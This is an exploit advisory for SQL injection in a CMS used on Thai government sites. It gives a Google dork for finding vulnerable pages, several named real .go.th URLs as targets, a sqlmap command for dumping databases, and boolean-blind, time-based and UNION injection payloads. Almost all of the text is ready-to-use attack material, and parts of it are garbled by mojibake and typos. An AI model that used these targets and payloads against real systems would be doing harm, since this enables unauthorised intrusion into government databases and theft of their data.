Thailand Government Sites CMS SQL njection
Posted on 30 November -0001
<HTML><HEAD><TITLE>Thailand Government Sites CMS SQL Ä°njection</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY><------------------ header data start ------------------- > ############################################################# # Application Name : Thailand Government Sites SQL Ä°njection # Vulnerable Type : SQL Ä°njection # Tested on : Windows 10 / Google Chrome # Linux / sqlmap 1.0.6.28#dev # Google Dork: site:go.th inurl:"data.php?id=" # Author: Cyber Warrior | Pentester # Date: 26.09.2016 # Tested On Demo Sites: http://maeloi.go.th/data.php?id=8 http://www.sansailocal.go.th/data.php?id=2 http://www.pasanglocal.go.th/data.php?id=1 # Exploit Code via sqlmap: sqlmap -u http://http://www.pasanglocal.go.th/data.php?id=1 --dbs --random-agent Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=3 AND 4606=4606 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Paylaod: id=3 OR SLEEP(5) Type: UNÄ°ON query Title: Generic UNÄ°ON query (NULL) - 5 columns Payload: id=-9846 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6b71,0x6e4a4d504c53596e4b 704964667177796a65694c615943526f615a696a4b64455845 5a5a7544596b,0x71706b7171),NULL,NULL-- MCjy --- < ------------------- header data end of ------------------- ></BODY></HTML>
